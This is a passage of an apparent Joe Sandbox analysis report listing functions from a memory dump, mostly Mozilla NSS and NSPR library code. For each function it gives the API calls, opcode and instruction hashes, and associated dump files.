Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 4665a1cd52f5dc3c0f6bf30eec66d62df4824d23559a9b5d0f5653ac4373eaa0
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A841A3B2A006118FCB18CF59DCD179AB7E2BF4531871D466DC85ACBB02E375E891CB85

Function 6C5CFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C5CFDFE), ref: 6C5CFFAD

Part of subcall function 6C56CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5CF9C9,?,6C5CF4DA,6C5CF9C9,?,?,6C59369A), ref: 6C56CA7A
Part of subcall function 6C56CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C56CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C5CFDFE), ref: 6C5CFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C5CFDFE), ref: 6C5D001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C5CFDFE), ref: 6C5D006F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: f63e393bb13570550961fd7d13910c680f8e09e72b0af54a39f4b4d0d77ea66e
Instruction ID: a418d2fe54954acb5a66fa4eb762bbbbe90e371d7b4371727e499a897d2b546c
Opcode Fuzzy Hash: f63e393bb13570550961fd7d13910c680f8e09e72b0af54a39f4b4d0d77ea66e
Instruction Fuzzy Hash: 6741D371B01315ABDB04EFA8DC85AAE7771FF86309F05413AD80693710DB39A951CBA5

Function 6C6FA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6C6FA662), ref: 6C6FA69E
Part of subcall function 6C6FA690: PR_NewCondVar.NSS3(?), ref: 6C6FA6B4

PR_IntervalNow.NSS3 ref: 6C6FA8C6
EnterCriticalSection.KERNEL32(?), ref: 6C6FA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6C6FA944
PR_SetPollableEvent.NSS3(?), ref: 6C6FA94F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 5a623434d6f93a190a1cdcc4057cef608d74d61f025f48a3127bcfe7424ba69b
Instruction ID: 6516297f9622726c83c9107dfbf9ec2fd1c38b1f21cec5306a42c0615ebd0e6f
Opcode Fuzzy Hash: 5a623434d6f93a190a1cdcc4057cef608d74d61f025f48a3127bcfe7424ba69b
Instruction Fuzzy Hash: B0415BB4A01A06DFC704CF29C580956FBF6FF49318725856AD869CBB12E731E851CF94

Function 6C6B7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6B7ED8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 60a734c88cbd9ade77fe21fae08beeaf3ccf4fa1c746e0f90f4edbebc8cd5082
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 1D31B5B1A001118FDB04CF18D89199ABBE2FF8831871B8169D8586B711EB71EC56CBD5

Function 6C66DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C5F3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C60AE42), ref: 6C5F30AA
Part of subcall function 6C5F3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F30C7
Part of subcall function 6C5F3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C5F30E5
Part of subcall function 6C5F3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C5F3116
Part of subcall function 6C5F3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C5F312B
Part of subcall function 6C5F3090: PK11_DestroyObject.NSS3(?,?), ref: 6C5F3154
Part of subcall function 6C5F3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C66DBBD), ref: 6C66DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66DFEE

Part of subcall function 6C6086D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C608716
Part of subcall function 6C6086D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C608727
Part of subcall function 6C6086D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C60873B
Part of subcall function 6C6086D0: PR_Unlock.NSS3(?), ref: 6C60876F
Part of subcall function 6C6086D0: PR_SetError.NSS3(00000000,00000000), ref: 6C608787

Part of subcall function 6C62F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C62F854
Part of subcall function 6C62F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C62F868
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C62F882
Part of subcall function 6C62F820: free.MOZGLUE(04C483FF,?,?), ref: 6C62F889
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C62F8A4
Part of subcall function 6C62F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C62F8AB
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C62F8C9
Part of subcall function 6C62F820: free.MOZGLUE(280F10EC,?,?), ref: 6C62F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C66DBBD), ref: 6C66DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C66DBBD), ref: 6C66E007

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 345864a48af5ee94308341a4bd3c148b67e029ca34f93d285199f74481ce121e
Instruction ID: 000258553e5ffba5b47f6e72196003f115095e0a72fea3501dd0d1701539d35a
Opcode Fuzzy Hash: 345864a48af5ee94308341a4bd3c148b67e029ca34f93d285199f74481ce121e
Instruction Fuzzy Hash: 7E3104B0A0420157E7019A7AAC84A9BB2B8AF9530CF140135E90AD7F52FF35D919C7EB

Function 6C5E6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5E6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5E6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C5E6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C708FE0), ref: 6C5E6CFE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: fe4c12f2c2749ff92e2e243dfe03db2bbc3fd96f8f9612d663ba15f3cc9e781f
Instruction ID: d5b72dc5fe44284eca2fa7d433b347c8536a1aad60929814f0c748cf583d0f6d
Opcode Fuzzy Hash: fe4c12f2c2749ff92e2e243dfe03db2bbc3fd96f8f9612d663ba15f3cc9e781f
Instruction Fuzzy Hash: 503180B1A0021A9FDB08CF65CC91ABFBBF5EF49288F10442DDA05D7710EB319915CBA0

Function 6C6F4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C6F4F5D
free.MOZGLUE(?), ref: 6C6F4F74
free.MOZGLUE(?), ref: 6C6F4F82
GetLastError.KERNEL32 ref: 6C6F4F90

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 9d6e78ec857caed45703ab9594ac4968169f1acf1cd7fbb96817d74f89616c91
Instruction ID: 1522596651e85c185b783ec301e911f6166106650af6961d7dc3dae3f31b45b8
Opcode Fuzzy Hash: 9d6e78ec857caed45703ab9594ac4968169f1acf1cd7fbb96817d74f89616c91
Instruction Fuzzy Hash: 2C314B75A012194BFB01CB69DD41BEF73B9FFC6349F040225EC29A7B80DB74D9068695

Function 6C63DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C63DDB1,?,00000000), ref: 6C63DDF4

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C63DDB1,?,00000000), ref: 6C63DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C63DDB1,?,00000000), ref: 6C63DE17

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C63DE80

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: eb63e46a95abbc7a35064a1adeb0fd8c607e8dd2be23c48a9f33c08cb1bcba10
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7B31D6B1915B529BE700CF16D880692FBE4FFA5318B24E229D81D87B81E770F4A5CB94

Function 6C62FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C605ADC,?,00000000,00000001,?,?,00000000,?,6C5FBA55,?,?), ref: 6C62FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C62FE5F
PR_Unlock.NSS3(78831D74), ref: 6C62FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C62FED6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 8c7fc363ed900130dd341236f7148f7a2bf1ece99447c3947babd12708472594
Instruction ID: 8760b172c620a3eb578028a548dbf279cc345e4dfcb9fa91415abce7d5fed12a
Opcode Fuzzy Hash: 8c7fc363ed900130dd341236f7148f7a2bf1ece99447c3947babd12708472594
Instruction Fuzzy Hash: 8B213131A00235BBD712AE24E84479A73B4BF0536DF040135DD486BA42E738E825CFDA

Function 6C633F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C633440: PK11_GetAllTokens.NSS3 ref: 6C633481
Part of subcall function 6C633440: PR_SetError.NSS3(00000000,00000000), ref: 6C6334A3
Part of subcall function 6C633440: TlsGetValue.KERNEL32 ref: 6C63352E
Part of subcall function 6C633440: EnterCriticalSection.KERNEL32(?), ref: 6C633542
Part of subcall function 6C633440: PR_Unlock.NSS3(?), ref: 6C63355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C61E80C,00000000,00000000,?,?,?,?,6C628C5B,-00000001), ref: 6C633FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C61E80C,00000000,00000000,?,?,?,?,6C628C5B,-00000001), ref: 6C633FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C61E80C,00000000,00000000,?,?,?,?,6C628C5B,-00000001), ref: 6C633FFE
PR_SetError.NSS3 ref: 6C63401A

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 1080f9bdb6949c971d9a16d9bd0d623d0d7195f863c11a1c2d7290d36553c229
Instruction ID: ae4a7b6271c65f0ddba8acdd0339d7e7454fd0f0af0f7ab2709bb1d50a5e7d42
Opcode Fuzzy Hash: 1080f9bdb6949c971d9a16d9bd0d623d0d7195f863c11a1c2d7290d36553c229
Instruction Fuzzy Hash: EF3170706047148FD710AF69D4846AEFBF0FF85315F01692ED88987700EB75E885CB9A

Function 6C624FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C62B60F,00000000), ref: 6C625003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C62B60F,00000000), ref: 6C62501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C62B60F,00000000), ref: 6C62504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C62B60F,00000000), ref: 6C625064

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 9cbdfcf523d422fdf299aff79d6c804ac1eeb22702b48dbb945c22f4986ea087
Instruction ID: 2286659dad0da591dad293895fd37a621a279d76259449f913d0906f3c5b9c1b
Opcode Fuzzy Hash: 9cbdfcf523d422fdf299aff79d6c804ac1eeb22702b48dbb945c22f4986ea087
Instruction Fuzzy Hash: D53127B0A05606CFDB10EF68C88456AFBF4FF49309B118569D859DB704E734E890CF96

Function 6C649F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C64A71A,FFFFFFFF,?,?), ref: 6C649FAB

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C64A71A,6C64A71A,00000000), ref: 6C649FD9

Part of subcall function 6C641340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64136A
Part of subcall function 6C641340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64137E
Part of subcall function 6C641340: PL_ArenaGrow.NSS3(?,6C5DF599,?,00000000,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?), ref: 6C6413CF
Part of subcall function 6C641340: PR_Unlock.NSS3(?,?,6C5E895A,00000000,?,00000000,?,00000000,?,00000000,?,6C5DF599,?,00000000), ref: 6C64145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C64A71A,6C64A71A,00000000), ref: 6C64A009
PR_SetError.NSS3(FFFFE013,00000000,6C64A71A,6C64A71A,00000000), ref: 6C64A045

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: a5b9bbea2f2adb5e17ff98b54fa67f27203f50e53b6f6d4215230d264e97ec18
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: F72183B4600206BBE7049F15DC50F66B7A9BB9575DF10C138D81987B82EB75D814CB94

Function 6C652DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C652E08

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C652E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C652E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C652E95

Part of subcall function 6C641200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C641228
Part of subcall function 6C641200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C641238
Part of subcall function 6C641200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C64124B
Part of subcall function 6C641200: PR_CallOnce.NSS3(6C742AA4,6C6412D0,00000000,00000000,00000000,?,6C5E88A4,00000000,00000000), ref: 6C64125D
Part of subcall function 6C641200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C64126F
Part of subcall function 6C641200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C641280
Part of subcall function 6C641200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C64128E
Part of subcall function 6C641200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C64129A
Part of subcall function 6C641200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6412A1

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 309369d6c38a28a1f80b21f2f9f2addd0cb01dbce2869b1db256bf99d31473a6
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: AA2108B1E003454BE700CF549D44BAB3764AFA230CF618269DD085B752F7B1E6A9C3AA

Function 6C621870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6218A6
